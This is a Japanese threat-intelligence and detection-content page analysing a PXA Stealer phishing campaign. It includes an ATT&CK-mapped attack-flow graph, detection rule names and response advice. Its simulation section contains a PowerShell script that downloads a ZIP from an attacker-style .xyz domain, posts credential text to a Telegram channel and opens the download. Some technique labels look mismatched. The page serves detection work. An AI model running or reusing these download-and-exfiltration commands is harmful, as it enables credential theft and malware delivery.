フィッシングからデータ流出まで:PXAスティーラーの詳細分析
Detection stack
- AIDR
- Alert
- ETL
- Query
サマリー
この報告書は、2026年初頭に金融機関を狙ったPXA Stealer活動の急増について説明しています。脅威アクターはフィッシングメールを通じて悪意のあるZIPアーカイブを拡散し、正規のシステムツールと名前を変更したPythonインタープリターを悪用する多段階感染チェーンに依存しています。活性化すると、このマルウェアはブラウザの証明書、保存されたパスワード、暗号通貨ウォレットのデータを盗み、収集した情報をTelegramを通じて送信します。このキャンペーンは、オペレーターが他の情報盗みエコシステムに対する以前の妨害を受けて、自分たちの手法をどのように調整したかを強調しています。
調査
CyberProofの研究者は、悪意のあるPumaproject.zipアーカイブを送信するフィッシングメールから、Telegramベースのデータ送信で終わる完全な攻撃チェーンを再構築しました。彼らの分析では、Shodan.pdfからのペイロードをデコードするためにCertutilを悪用していたことを特定し、WinRARのコピーが picture.png として偽装されて抽出され、隠されたDotsフォルダーとボット識別子に関連付けられた難読化されたスクリプトを開始するために使用されるsvchost.exe Pythonインタープリターと改名されました。レジストリ値エントリを通じて永続性が維持されます。
緩和策
ディフェンダーは、疑わしいアーカイブ添付ファイルを特定し、予期しないパスからのスクリプト実行と既知のLOLBinsを監視し、Telegramへの外向きトラフィックと .shop and .xyz.などの異常なTLDをブロックする必要があります。また、セキュリティチームは、メールゲートウェイを強化し、Officeファイルおよびスクリプトベースのコンテンツに厳格な実行制御を適用するべきです。
対応
PXA Stealerが検出された場合は、影響を受けたホストを隔離し、揮発性の証拠を取得し、参照されているファイルアーティファクトとレジストリの変更を検索します。悪意のあるファイルを削除し、影響を受けたプロセスを終了し、露出した認証情報をリセットします。その後、環境全体で一致するインジケータのためにより広範な脅威のハントを実行し、関連するステークホルダーに通知する必要があります。
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[“<b>アクション</b> – <b>T1566.001 フィッシング: スピアフィッシングアタッチメント</b><br/>説明: 悪意のあるZIP (Pumaproject.zip) を含むメール、その中にDocument.docx.exeが含まれている。”] class action_phishing action file_zip[“<b>ファイル</b> – Pumaproject.zip<br/><b>含まれている</b>: Document.docx.exe”] class file_zip file action_user_exec[“<b>アクション</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b><br/>説明: 被害者が添付された実行可能ファイルを開く。”] class action_user_exec action process_malicious_exe[“<b>プロセス</b> – Document.docx.exe”] class process_malicious_exe process action_execution_hijack[“<b>アクション</b> – <b>T1574 実行フローのハイジャック</b><br/>説明: inter.cmdを起動し、Shodan.pdfからペイロードをデコードするためにcertutilを使用する。”] class action_execution_hijack action process_inter_cmd[“<b>プロセス</b> – inter.cmd”] class process_inter_cmd process tool_certutil[“<b>ツール</b> – certutil.exe<br/><b>目的</b>: base64コンテンツをデコードする”] class tool_certutil tool file_shodan_pdf[“<b>ファイル</b> – Shodan.pdf<br/><b>含まれている</b>: Base64エンコードされたペイロード”] class file_shodan_pdf file action_defense_embedded[“<b>アクション</b> – <b>T1027.009 埋め込まれたペイロード</b><br/>説明: PDFファイル内にペイロードが隠されています。”] class action_defense_embedded action action_decode[“<b>アクション</b> – <b>T1140 難読化/デコード情報またはファイル</b><br/>説明: certutilがペイロードをデコードする。”] class action_decode action action_hidden_dir[“<b>アクション</b> – <b>T1564.001 隠されたファイルとディレクトリ</b><br/>説明: マルウェアが中間ファイル用に隠しフォルダ「Dots」を作成する。”] class action_hidden_dir action file_hidden_dir[“<b>ファイル</b> – Dots (隠しディレクトリ)”] class file_hidden_dir file action_relocate[“<b>アクション</b> – <b>T1070.010 インジケータ除去: マルウェアの再配置</b><br/>説明: 悪意のあるファイルを隠された「Dots」ディレクトリに移動する。”] class action_relocate action action_compression[“<b>アクション</b> – <b>T1027.015 圧縮</b><br/>説明: picture.pngとして偽装されたWinRARがパスワードで保護されたアーカイブ(パスワード: shodan2201)を抽出します。”] class action_compression action tool_winar[“<b>ツール</b> – WinRAR (名前を変更されたpicture.png)”] class tool_winar tool file_archive[“<b>ファイル</b> – パスワード保護されたアーカイブ (shodan2201)”] class file_archive file action_rc_script[“<b>アクション</b> – <b>T1037.004 RCスクリプト</b><br/>説明: 携帯性のあるPythonがドロップされ、svchost.exeに名前を変更され、$BOT_ID引数で実行されます。”] class action_rc_script action process_svc_host[“<b>プロセス</b> – svchost.exe (悪意のあるPythonインタープリター)”] class process_svc_host process action_active_setup[“<b>アクション</b> – <b>T1547.014 アクティブセットアップ</b><br/>説明: 起動時にsvchost.exeを実行するためにレジストリエントリが追加されます。”] class action_active_setup action action_com_hijack[“<b>アクション</b> – <b>T1546.015 COMハイジャック</b><br/>説明: 自動実行のために作成されたCOMハイジャックレジストリエントリ。”] class action_com_hijack action action_cred_browser[“<b>アクション</b> – <b>T1555.003 ウェブブラウザからのクレデンシャル</b><br/>説明: パスワード、クッキー、暗号通貨ウォレットデータを盗むためにブラウザに注入します。”] class action_cred_browser action action_cred_cookies[“<b>アクション</b> – <b>T1539 ウェブセッションクッキーの盗難</b><br/>説明: 再利用のためにウェブセッションクッキーを抽出します。”] class action_cred_cookies action action_keylogging[“<b>アクション</b> – <b>T1056.001 入力キャプチャ: キーロギング</b><br/>説明: ユーザーのキーストロークをキャプチャします。”] class action_keylogging action action_exfil_telegram[“<b>アクション</b> – <b>T1567 ウェブサービスを介したデータ漏洩</b><br/>説明: 攻撃者が管理するTelegramチャンネルに収集したデータを送信します。”] class action_exfil_telegram exfil action_exfil_c2[“<b>アクション</b> – <b>T1041 C2チャネルを介したデータ漏洩</b><br/>説明: TelegramをC2およびデータ漏洩チャネルとして使用します。”] class action_exfil_c2 exfil %% Connections action_phishing –>|delivers| file_zip file_zip –>|executes| action_user_exec action_user_exec –>|runs| process_malicious_exe process_malicious_exe –>|launches| action_execution_hijack action_execution_hijack –>|spawns| process_inter_cmd process_inter_cmd –>|uses| tool_certutil tool_certutil –>|decodes| file_shodan_pdf file_shodan_pdf –>|contains| action_defense_embedded action_defense_embedded –>|triggers| action_decode action_decode –>|creates| action_hidden_dir action_hidden_dir –>|creates| file_hidden_dir action_hidden_dir –>|stores| action_relocate action_relocate –>|moves files to| file_hidden_dir action_relocate –>|leads to| action_compression action_compression –>|uses| tool_winar tool_winar –>|extracts| file_archive file_archive –>|provides| action_rc_script action_rc_script –>|executes| process_svc_host process_svc_host –>|establishes| action_active_setup process_svc_host –>|establishes| action_com_hijack process_svc_host –>|enables| action_cred_browser process_svc_host –>|enables| action_cred_cookies process_svc_host –>|enables| action_keylogging action_keylogging –>|feeds data to| action_exfil_telegram action_cred_browser –>|feeds data to| action_exfil_telegram action_cred_cookies –>|feeds data to| action_exfil_telegram action_exfil_telegram –>|uses channel| action_exfil_c2
攻撃のフロー
検知
非典型的なパスからのシステムプロセス実行(プロセス作成による)
表示
異常なトップレベルドメイン(TLD)DNSリクエストによる疑わしい指令制御(dnsによる)
表示
パブリックユーザープロフィールからの疑わしい実行(プロセス作成による)
表示
実行可能バイナリの異常な拡張子(プロセス作成による)
表示
パブリックユーザープロフィール内の疑わしいファイル(ファイルイベントによる)
表示
データエンコーディングおよびCert操作にCertutilを使用する(cmdlineによる)
表示
検知するIOCs(HashMd5):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ・パート2
表示
検知するIOCs(DestinationIP):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ
表示
検知するIOCs(HashMd5):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ・パート1
表示
検知するIOCs(SourceIP):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ
表示
検知するIOCs(HashSha256):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ
表示
PXA Stealerの実行活動の検知 [Windowsプロセス作成]
表示
PXA Stealerのアウトバウンド接続の検知 [Windowsネットワーク接続]
表示
シミュレーション実行
前提条件:Telemetry & Baseline Pre-flight Checkが通過していること。
根拠:このセクションは、検知ルールをトリガーするために設計された敵対者技術(TTP)の正確な実行を詳述します。コマンドと解説は、識別されたTTPを直接反映し、検知ロジックに期待される正確なテレメトリーを生成することを目的としなければなりません。
-
攻撃の物語とコマンド:
脅威アクターは、 PXA Stealer を侵害されたWindowsホストに展開します。ユーザーが最初の悪意のあるバイナリ(T1204.002)を無意識のうちに実行した後、スティーラーはPowerShellのスニペットを実行し:-
悪意のあるZIPをダウンロードする ハードコーディングされたドメインから
downloadtheproject.xyz(T1202 – 間接コマンド実行)。 -
収集されたデータを Telegramチャンネルにメッセージを投稿することで送出
t.me(T1559.002 – フィッシングリンク)。 - オプションで悪意のあるCOMコンポーネントをロードし、永続性を実現します(T1127.002)。
両方の外向きHTTP GETリクエストはSigmaルールが監視している
DestinationDomainフィールドを生成し、アラートを引き起こします。 -
悪意のあるZIPをダウンロードする ハードコーディングされたドメインから
-
回帰テストスクリプト:
# PXA Stealerシミュレーション – 検知ルールをトリガー $tmpZip = "$env:TEMPpayload.zip" $tmpMsg = "$env:TEMPsteal.txt" # 1. 最初の悪意のあるドメインから悪意のあるZIPをダウンロード Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing # 2. Telegramリンクによるデータ漏洩をシミュレーション $payload = "ユーザー認証情報: admin / Pass123!" Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing # 3. (オプション) ダミーのCOMオブジェクトをロードしてT1127.002をエミュレート try { $com = New-Object -ComObject "Shell.Application" $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null } catch { # エラーを無視 – これはテレメトリー用です } -
クリーンアップコマンド:
# シミュレーションで作成したアーティファクトを削除 Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue